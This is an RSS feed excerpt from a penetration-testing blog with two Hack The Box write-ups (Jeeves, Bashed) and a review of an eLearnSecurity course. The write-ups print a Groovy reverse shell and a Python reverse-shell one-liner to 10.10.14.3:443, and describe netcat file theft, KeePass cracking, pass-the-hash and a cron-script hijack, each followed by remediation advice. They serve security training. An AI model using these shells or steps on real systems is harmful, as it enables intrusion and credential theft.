&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Process p&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">new&lt;/span> ProcessBuilder&lt;span style="color:#f92672">(&lt;/span>cmd&lt;span style="color:#f92672">).&lt;/span>&lt;span style="color:#a6e22e">redirectErrorStream&lt;/span>&lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#66d9ef">true&lt;/span>&lt;span style="color:#f92672">).&lt;/span>&lt;span style="color:#a6e22e">start&lt;/span>&lt;span style="color:#f92672">();&lt;/span>Socket s&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">new&lt;/span> Socket&lt;span style="color:#f92672">(&lt;/span>host&lt;span style="color:#f92672">,&lt;/span>port&lt;span style="color:#f92672">);&lt;/span>InputStream pi&lt;span style="color:#f92672">=&lt;/span>p&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">getInputStream&lt;/span>&lt;span style="color:#f92672">(),&lt;/span>pe&lt;span style="color:#f92672">=&lt;/span>p&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">getErrorStream&lt;/span>&lt;span style="color:#f92672">(),&lt;/span> si&lt;span style="color:#f92672">=&lt;/span>s&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">getInputStream&lt;/span>&lt;span style="color:#f92672">();&lt;/span>OutputStream po&lt;span style="color:#f92672">=&lt;/span>p&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">getOutputStream&lt;/span>&lt;span style="color:#f92672">(),&lt;/span>so&lt;span style="color:#f92672">=&lt;/span>s&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">getOutputStream&lt;/span>&lt;span style="color:#f92672">();&lt;/span>&lt;span style="color:#66d9ef">while&lt;/span>&lt;span style="color:#f92672">(!&lt;/span>s&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">isClosed&lt;/span>&lt;span style="color:#f92672">()){&lt;/span>&lt;span style="color:#66d9ef">while&lt;/span>&lt;span style="color:#f92672">(&lt;/span>pi&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">available&lt;/span>&lt;span style="color:#f92672">()&amp;gt;&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#f92672">)&lt;/span>so&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">write&lt;/span>&lt;span style="color:#f92672">(&lt;/span>pi&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">read&lt;/span>&lt;span style="color:#f92672">());&lt;/span>&lt;span style="color:#66d9ef">while&lt;/span>&lt;span style="color:#f92672">(&lt;/span>pe&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">available&lt;/span>&lt;span style="color:#f92672">()&amp;gt;&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#f92672">)&lt;/span>so&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">write&lt;/span>&lt;span style="color:#f92672">(&lt;/span>pe&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">read&lt;/span>&lt;span style="color:#f92672">());&lt;/span>&lt;span style="color:#66d9ef">while&lt;/span>&lt;span style="color:#f92672">(&lt;/span>si&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">available&lt;/span>&lt;span style="color:#f92672">()&amp;gt;&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#f92672">)&lt;/span>po&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">write&lt;/span>&lt;span style="color:#f92672">(&lt;/span>si&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">read&lt;/span>&lt;span style="color:#f92672">());&lt;/span>so&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">flush&lt;/span>&lt;span style="color:#f92672">();&lt;/span>po&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">flush&lt;/span>&lt;span style="color:#f92672">();&lt;/span>Thread&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">sleep&lt;/span>&lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">50&lt;/span>&lt;span style="color:#f92672">);&lt;/span>&lt;span style="color:#66d9ef">try&lt;/span> &lt;span style="color:#f92672">{&lt;/span>p&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">exitValue&lt;/span>&lt;span style="color:#f92672">();&lt;/span>&lt;span style="color:#66d9ef">break&lt;/span>&lt;span style="color:#f92672">;}&lt;/span>&lt;span style="color:#66d9ef">catch&lt;/span> &lt;span style="color:#f92672">(&lt;/span>Exception e&lt;span style="color:#f92672">){}};&lt;/span>p&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">destroy&lt;/span>&lt;span style="color:#f92672">();&lt;/span>s&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#a6e22e">close&lt;/span>&lt;span style="color:#f92672">();&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The initial Groovy reverse shell on the attacking machine. Currently having a foothold as the low privileged &lt;strong>Kohsuke&lt;/strong> user.
&lt;img src="09.png" alt="&amp;ldquo;Groovy Initial Reverse Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Browsing through the documents folder of the &lt;strong>Kohsuke&lt;/strong> user reveals a &lt;strong>CEH.kdbx&lt;/strong> Keepass database. There is a possibility this Keepass database contains information to expand influence or elevate privileges. Spending some time to transfer the database to the attacking machine and crack it can be a good investment.
&lt;img src="10.png" alt="&amp;ldquo;CEH.kdbx in User Directory&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Netcat&lt;/strong> can be leveraged to transfer the &lt;strong>CEH.kdbx&lt;/strong> file from Jeeves to the attacking machine. Transferring the &lt;strong>nc.exe&lt;/strong> file to Jeeves is trivial with the &lt;strong>Python Simple HTTP server&lt;/strong> module and a little bit of &lt;strong>PowerShell&lt;/strong> knowledge.
&lt;img src="11.png" alt="&amp;ldquo;Preparing Python Simple HTTP Server&amp;rdquo;">&lt;/p>
&lt;p>PowerShell is installed on Windows by default and can be leveraged to download the &lt;strong>nc.exe&lt;/strong> file from the web server that is listening on port &lt;strong>8000&lt;/strong>.
&lt;img src="12.png" alt="&amp;ldquo;Download nc.exe With PowerShell&amp;rdquo;">&lt;/p>
&lt;p>Preparing an &lt;strong>Ncat&lt;/strong> listener on the attacking machine to receive the file transfer.
&lt;img src="13.png" alt="&amp;ldquo;Ncat Listener for CEH.kdbx transfer&amp;rdquo;">&lt;/p>
&lt;p>Initiating the &lt;strong>CEH.kdbx&lt;/strong> file transfer with &lt;strong>Netcat&lt;/strong> from the Jeeves machine.
&lt;img src="14.png" alt="&amp;ldquo;Transfer CEH.kdbx to Attacker&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Ncat&lt;/strong> on the attacking machine receives the connection and the &lt;strong>CEH.kdbx&lt;/strong> file transfer.
&lt;img src="15.png" alt="&amp;ldquo;Receiving the CEH.kdbx File&amp;rdquo;">&lt;/p>
&lt;p>Now that the Keepass database is available on the attacking machine an attempt can be made to crack the password hash to gain access to the data stored within the database.&lt;/p>
&lt;p>The password hash can be extracted with &lt;strong>Keepass2John&lt;/strong>. After the hash is extracted it can be cracked with &lt;strong>John the Ripper&lt;/strong> and the well know &lt;strong>rockyou&lt;/strong> password database. It does not take long before the password is found.
&lt;img src="16.png" alt="&amp;ldquo;Cracking the CEH.kdbx Password&amp;rdquo;">&lt;/p>
&lt;p>Now that the password of the Keepass database is found &lt;strong>KeepassXC&lt;/strong> can be used to open the file and inspect its contents. Several entries are present but a Windows NTLM hash stands out among all other entries.
&lt;img src="17.png" alt="&amp;ldquo;Windows NTLM Hash&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-administrator">Exploitation: Administrator&lt;/h2>
&lt;p>Windows NTLM hashes can be used in a well-known attack called &lt;a href="https://en.wikipedia.org/wiki/Pass_the_hash">Pass the Hash&lt;/a>. To gain a command line shell on the Jeeves machine the &lt;strong>pth-winexe&lt;/strong> command line utility can be used. Launching the &lt;strong>Pass the Hash&lt;/strong> attack with the discovered hash spawns a command line shell as the &lt;strong>Administrator&lt;/strong> user.
&lt;img src="18.png" alt="&amp;ldquo;Pass the Hash Attack&amp;rdquo;">&lt;/p>
&lt;h2 id="exposing-the-root-flag">Exposing the Root Flag&lt;/h2>
&lt;p>At this point the Jeeves machine is fully compromised and in a real-world engagement it is game over, however to complete the &lt;strong>Hack The Box&lt;/strong> challenge the &lt;strong>root.txt&lt;/strong> flag needs to be obtained as-well.&lt;/p>
&lt;p>The creator of the challenge cleverly hid the &lt;strong>root.txt&lt;/strong> flag within an &lt;strong>alternate data stream&lt;/strong> as can be discovered with the &lt;strong>dir /R&lt;/strong> command. Using the &lt;strong>more&lt;/strong> command the &lt;strong>root.txt&lt;/strong> alternate data stream can be read and reveals the &lt;strong>root.txt&lt;/strong> flag.
&lt;img src="19.png" alt="&amp;ldquo;Getting the Root Flag&amp;rdquo;">&lt;/p>
&lt;h2 id="remediation">Remediation&lt;/h2>
&lt;p>The &lt;strong>Jenkins&lt;/strong> installation on port 50000 exposed administrative functionality without the need to authenticate and is an example of &lt;a href="https://www.owasp.org/index.php/Broken_Access_Control">broken access controls&lt;/a>. This configuration error allowed any user with access to the Jenkins website to access administrative functionality that could be leveraged to execute code.&lt;/p>
&lt;p>The use of a weak password for the Keepass database made it trivial to crack. This in turn resulted in the disclosure of sensitive information that was used to elevate privileges resulting in the full compromise of the Jeeves machine.&lt;/p>
&lt;p>The following configuration and policy changes should be considered to mitigate risk.&lt;/p>
&lt;ul>
&lt;li>Enforce encrypted communication for the &lt;strong>askjeeves&lt;/strong> directory on the web server&lt;/li>
&lt;li>Protect access to administrative functionality on the Jenkins installation with proper authentication and authorization&lt;/li>
&lt;li>Implement strong password policy guidelines and enforce those guidelines where possible&lt;/li>
&lt;li>Inform users about the importance of strong passwords, train them in the practice of making strong but easy to remember passwords and how to store passwords securely&lt;/li>
&lt;/ul></description></item><item><title>Hack The Box Write-Up Bashed</title><link>https://isroot.nl/2018/06/11/hack-the-box-write-up-bashed/</link><pubDate>Mon, 11 Jun 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/06/11/hack-the-box-write-up-bashed/</guid><description>&lt;p>Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one&amp;rsquo;s penetration testing and security skills. Bashed was a fairly easy but fun machine, it has several configuration errors that when chained together allow an attacker to fully compromise the machine and gain root access.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox browser&lt;/li>
&lt;li>Gobuster&lt;/li>
&lt;li>Ncat&lt;/li>
&lt;li>Wget&lt;/li>
&lt;li>Basic shell commands&lt;/li>
&lt;li>Basic Python scripting&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap reveals that port 80 is open.
&lt;img src="01.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted scan against port 80 with Nmap&amp;rsquo;s default and service enumeration scripts reveals the &lt;strong>Apache 2.4.18&lt;/strong> web server most likely running on a flavour of Ubuntu Linux as indicated by the service banner.
&lt;img src="02.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A visit to the website with a browser reveals a development website for PHPBash.
&lt;img src="03.png" alt="&amp;ldquo;PHPBash Website&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-gobuster">Enumeration: Gobuster&lt;/h2>
&lt;p>Digging a bit deeper a Gobuster scan reveals an interesting &lt;strong>dev&lt;/strong> directory.
&lt;img src="04.png" alt="&amp;ldquo;Gobuster Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>The &lt;strong>dev&lt;/strong> directory contains a working version of PHPBash. PHPBash can be used to enumerate what tools are available on the machine. As Python is available getting an initial reverse shell is trivial.
&lt;img src="05.png" alt="&amp;ldquo;Enumerate Python Version&amp;rdquo;">&lt;/p>
&lt;p>Preparing an &lt;strong>Ncat&lt;/strong> listener on port 443 to catch the Python connection.
&lt;img src="06.png" alt="&amp;ldquo;Preparing Ncat Listener on Port 443&amp;rdquo;">&lt;/p>
&lt;p>Initiating a connection to the listener with the following Python command through the PHPBash webpage.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>python &lt;span style="color:#f92672">-&lt;/span>c &lt;span style="color:#e6db74">&amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;10.10.14.3&amp;#34;,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&amp;#34;/bin/bash&amp;#34;,&amp;#34;-i&amp;#34;]);&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The initial Python reverse shell on the attacking machine. Currently having a foothold as the low privileged &lt;strong>www-data&lt;/strong> user that the Apache server uses to provide its services.
&lt;img src="07.png" alt="&amp;ldquo;Initial Python Reverse Shell&amp;rdquo;">&lt;/p>
&lt;p>Now that a low privilege reverse shell is established it is possible to upgrade the shell to an interactive one to make life more enjoyable.
&lt;img src="08.png" alt="&amp;ldquo;Upgrade to Interactive Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Exploring the directory structure reveals a &lt;strong>scripts&lt;/strong> directory that is owned by the user &lt;strong>scriptmanager&lt;/strong>. Looking at &lt;strong>/etc/passwd&lt;/strong> reveals the &lt;strong>scriptmanager&lt;/strong> user exists on the machine.
&lt;img src="09.png" alt="&amp;ldquo;Scripts Directory and Scriptmanager User&amp;rdquo;">&lt;/p>
&lt;p>Running &lt;strong>sudo -l&lt;/strong> reveals the &lt;strong>www-data&lt;/strong> user can run commands as the &lt;strong>scriptmanager&lt;/strong> user without a password. This configuration error can be leveraged to spawn a Bash shell as the &lt;strong>scriptmanager&lt;/strong> user.
&lt;img src="10.png" alt="&amp;ldquo;Sudo as Scriptmanager&amp;rdquo;">&lt;/p>
&lt;p>Investigating the scripts directory reveals a &lt;strong>test.py&lt;/strong> Python file that is owned by the &lt;strong>scriptmanager&lt;/strong> user and a &lt;strong>test.txt&lt;/strong> file that is owned by the &lt;strong>root&lt;/strong> user.&lt;/p>
&lt;p>Looking at the contents of both files and the last modified time of &lt;strong>test.txt&lt;/strong> the most likely scenario is that the &lt;strong>root&lt;/strong> user runs the &lt;strong>test.py&lt;/strong> file as a cron job and writes &lt;strong>testing 123!&lt;/strong> to the &lt;strong>test.txt&lt;/strong> file every minute.
&lt;img src="11.png" alt="&amp;ldquo;Investigating the Scripts Directory&amp;rdquo;">&lt;/p>
&lt;p>Because the &lt;strong>test.py&lt;/strong> file is owned by &lt;strong>scriptmanager&lt;/strong> and the &lt;strong>www-data&lt;/strong> user has sudo access to this account without a password it is possible to modify the &lt;strong>test.py&lt;/strong> file. This configuration error can be leveraged to initiate another Python reverse shell to the attacking machine this time as the &lt;strong>root&lt;/strong> user.&lt;/p>
&lt;p>Creating a malicious &lt;strong>test.py&lt;/strong> file containing a simple Python reverse shell that connects to port 80 on the attacking machine.
&lt;img src="12.png" alt="&amp;ldquo;Creating a Malicious test.py File&amp;rdquo;">&lt;/p>
&lt;p>Setting up another &lt;strong>Ncat&lt;/strong> listener on port 80.
&lt;img src="13.png" alt="&amp;ldquo;Setup Ncat Listener on Port 80&amp;rdquo;">&lt;/p>
&lt;p>Preparing a simple Python HTTP server on port 8000 to serve the malicious &lt;strong>test.py&lt;/strong> file.
&lt;img src="14.png" alt="&amp;ldquo;Setup a Python HTTP Server&amp;rdquo;">&lt;/p>
&lt;p>Removing the &lt;strong>test.py&lt;/strong> file form the Bashed machine and copying the malicious &lt;strong>test.py&lt;/strong> file in its place with &lt;strong>wget&lt;/strong>.
&lt;img src="15.png" alt="&amp;ldquo;Copying Malicious test.py File&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>After some time, the &lt;strong>root&lt;/strong> user executes the malicious &lt;strong>test.py&lt;/strong> file and initiates a connection to the Ncat listener. At this point the Bashed machine is fully compromised and it is game over.
&lt;img src="16.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="remediation">Remediation&lt;/h2>
&lt;p>While it is not recommended to host a web shell on a server exposed to the public internet there can be a business requirement to do so. In case a business requirement needs to be met implementing the following configuration changes is advised to mitigate risk.&lt;/p>
&lt;ul>
&lt;li>Enforce encrypted communication for the &lt;strong>dev&lt;/strong> directory on the web server&lt;/li>
&lt;li>Protect access to the &lt;strong>dev&lt;/strong> directory on the web server with a username and password&lt;/li>
&lt;li>Limit access to the &lt;strong>dev&lt;/strong> directory on the web server to trusted IP addresses&lt;/li>
&lt;li>Configure sudo to ask for a password before running commands as another user&lt;/li>
&lt;li>Prevent running automatic or scheduled scripts that other users can modify with root privileges&lt;/li>
&lt;/ul></description></item><item><title>eLearnSecurity Penetration Testing Student v3 Review</title><link>https://isroot.nl/2018/06/04/elearnsecurity-penetration-testing-student-v3-review/</link><pubDate>Mon, 04 Jun 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/06/04/elearnsecurity-penetration-testing-student-v3-review/</guid><description>&lt;p>Being a system and network administrator by trade and interested in system and network security as a hobby I wanted to expand my knowledge about penetration testing. I went looking for a course that would teach hands on and practical penetration testing skills and found community members on the &lt;a href="https://www.reddit.com/r/netsecstudents/">netsecstudents Reddit&lt;/a> discussing the Penetration Testing Student v3 (PTS) course from &lt;a href="https://www.elearnsecurity.com/">eLearnSecurity&lt;/a>.&lt;/p>
&lt;p>The PTS is an introductory course into the field of penetration testing that is in my opinion not too expensive to just &amp;ldquo;try out&amp;rdquo; to see if you like it. While it is certainly possible to learn about penetration testing from free online resources such as YouTube videos and online blogs I opted to purchase the PTS course to save myself some time and make things a little bit more official and also obtain my &lt;a href="https://www.elearnsecurity.com/certification/ejpt/">eJPT&lt;/a> certification in the process.&lt;/p>
&lt;h2 id="plan-comparison">Plan Comparison&lt;/h2>
&lt;p>The PTS course is available in three plans, barebone, full and elite.&lt;/p>
&lt;p>The barebone plan is the PTS entry level offering and is often available for free. eLearnSecurity invites for this plan can usually be earned by attending one of their webinars or keeping an eye out for discounts in online communities such as the netsecstudents Reddit or the &lt;a href="https://community.infosecinstitute.com/categories/security-certifications/">TechExams Community Forums&lt;/a>. All the plans give lifetime access to the course slides but the video content and hands on labs are not included in the barebone plan.&lt;/p>
&lt;p>The full plan is the middle of the pack and includes the video material, 30 hours of lab access and instructor and community support on the &lt;a href="https://community.elearnsecurity.com/">eLearnSecurity community forums&lt;/a>. While the forums have a low post volume the instructors and community members do respond to questions rather quickly. This plan also includes an eJPT exam voucher with one free retake in case you fail the exam the first time. Take note though as the exam voucher included in this plan expires 180 days after purchase and if you let it expire you have to purchase a new voucher if you want to do the exam.&lt;/p>
&lt;p>The elite plan has everything included in the full plan and offers 60 hours of lab access and three free retakes in case you fail the exam more than once. The exam voucher included in this plan does not expire so if you want to take your time with the course this is the right plan for you. If you pass the exam this plan has the option to ship your shiny new certificate to your home address without additional cost.&lt;/p>
&lt;p>The biggest advantage of the elite plan in my opinion is that the course materials are available in HTML 5 and PDF formats making it available on mobile clients such as a tablet or mobile phone this allowed me to learn on the go while using my iPad. Having the course content available in downloadable PDF format also helps as you can download the PDF files and index them to search through the course materials to look something up quickly.&lt;/p>
&lt;h2 id="demo-and-purchasing">Demo and Purchasing&lt;/h2>
&lt;p>Before you purchase the course you can try out a free &lt;a href="https://www.elearnsecurity.com/course/penetration_testing_student/">demo&lt;/a> by filling in your name and email address. You get access to a subset of the slide material to see if you like the content.&lt;/p>
&lt;p>When you decide you want to enroll in the course you have to create an account on the eLearnSecurity website when you have done this you can purchase the course. After I signed up and made my purchase I received an email to verify my identity apparently to prevent fraud.&lt;/p>
&lt;p>This process is straight forward but does require you to upload your ID and credit card information through their web portal so be aware of this before purchase. The verification process took about an hour after I uploaded the requested documents but I have heard stories from others about the process taking a bit longer.&lt;/p>
&lt;h2 id="the-course-content">The Course Content&lt;/h2>
&lt;p>The course content is split up into three major modules starting with some prerequisite knowledge before you dive into the penetration testing module itself.&lt;/p>
&lt;p>The main modules of the course are:&lt;/p>
&lt;ul>
&lt;li>Preliminary Skills - Prerequisites&lt;/li>
&lt;li>Preliminary Skills - Programming&lt;/li>
&lt;li>Penetration Testing&lt;/li>
&lt;/ul>
&lt;p>The content is well made, composed with care and is laid out in such a way that it feels like you naturally progress through the material, especially if you have a plan with video and lab access and follow along with the videos and labs in between slides.&lt;/p>
&lt;p>The materials begin with a brief introduction into the information security field, laying a basic foundation in networking, web application fundamentals and programming before moving on with the penetration testing module.&lt;/p>
&lt;p>While it is tempting to skip straight to the interesting stuff I highly recommend to take some extra time to do the programming module of the course. While this module is not strictly needed to pass the exam, it lays a good foundation for a beginner that wants to enter the penetration testing and computer security field where basic programming and scripting knowledge is a good skill to have.&lt;/p>
&lt;p>The networking module and Wireshark videos should also NOT be underestimated and spending some extra time to really understand what is going on here will make you a more effective penetration tester and IT professional in general. Trust me and thank me later.&lt;/p>
&lt;h2 id="the-videos">The Videos&lt;/h2>
&lt;p>The course videos are well done and, in my opinion, solidify the theory you learn in the course slides. The slides and videos together prepare you well for the hands-on labs. The voice over in some of the videos seems to be a bit robot like at times but nothing too annoying.&lt;/p>
&lt;h2 id="the-labs">The Labs&lt;/h2>
&lt;p>The labs are awesome and honestly the best part of the entire course! Each lab has a lab manual. The manual usually has a short description of the lab goal, recommended tools to use during the lab and several tasks that help you to reach the labs end goal. Each lab manual also has a section with solutions to complete the lab if you get stuck. I recommend reading and trying the solutions in the labs even if you solved the labs goal on your own as they can give you more insight and another perspective on how to solve the lab challenge.&lt;/p>
&lt;p>There are twelve labs in total covering HTTPS sniffing, web application and operating system enumeration and exploitation, SQL injection and man in the middle attacks among others. The lab network is dedicated to you and you do not share the resources with other students. This means you are free to do as you please within the labs. The hands-on experience the labs give you really help you prepare for the exam. If you did the labs and completed all of them without leaning on the solutions to much you will pass the exam without much trouble.&lt;/p>
&lt;p>I did all the labs two times and spent about 10 hours in total in the labs. When I was done with the course and passed my exam I still revisited them a few times because they are really fun to do.&lt;/p>
&lt;h2 id="study-tips">Study Tips&lt;/h2>
&lt;ul>
&lt;li>Go for a plan with video content and lab access as they really solidify your understanding of the slides&lt;/li>
&lt;li>Take your time with the course materials&lt;/li>
&lt;li>Take some extra time for the programming module if you want to make this your career&lt;/li>
&lt;li>Take your time in the labs and do them more than once before attempting the exam&lt;/li>
&lt;li>When doing the labs do not jump to the solutions too quick but try to solve them yourself&lt;/li>
&lt;li>Do NOT underestimate the networking module of the course&lt;/li>
&lt;/ul>
&lt;h2 id="the-exam">The Exam&lt;/h2>
&lt;p>When you start the exam, you receive a letter of engagement with a scope to perform your tests. To complete the exam, you have to perform a hands-on penetration test on a small company network and answer several questions along the way. The answers to the questions are not obvious at first glance but will reveal themselves once you start compromising the company network. You have three days to perform your tests and this is plenty of time to complete the exam.&lt;/p>
&lt;p>The exam network is setup and configured as a real small company network and a fun challenge to complete. If you did all the labs a few times and understood the course materials you will pass the exam without much trouble.&lt;/p>
&lt;h2 id="exam-tips">Exam Tips&lt;/h2>
&lt;ul>
&lt;li>You have three full days to complete the exam, this is plenty of time&lt;/li>
&lt;li>Do all the labs again the day before you start the exam&lt;/li>
&lt;li>Make yourself a cheat sheet with commands you used during the labs&lt;/li>
&lt;li>Revisit the course materials and videos if you are stuck&lt;/li>
&lt;li>Double check your answers before submitting the exam&lt;/li>
&lt;li>Upon completing the exam, you are given the results immediately&lt;/li>
&lt;li>Enjoy the exam like the labs it is a really fun challenge to complete&lt;/li>
&lt;/ul>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>The PTS course is well suited for beginners that want to step into the security industry or just want to expand their knowledge about penetration testing. A little background in computer networking and the Linux operating system is advised before stepping into the course but not strictly needed.&lt;/p>
&lt;p>The course material is informative, to the point and has a natural flow to it that most beginners will appreciate. The video content and especially the labs that come with the two higher plans are well worth the upgrade and are a lot of fun to complete.&lt;/p>
&lt;p>All in all, I found the PTS a worthwhile course that expanded my knowledge about the penetration testing and information security field so much so that I purchased the more advanced &lt;a href="https://www.elearnsecurity.com/course/penetration_testing/">eLearnSecurity PTP&lt;/a> course right after completing the eJPT exam.&lt;/p></description></item></channel></rss>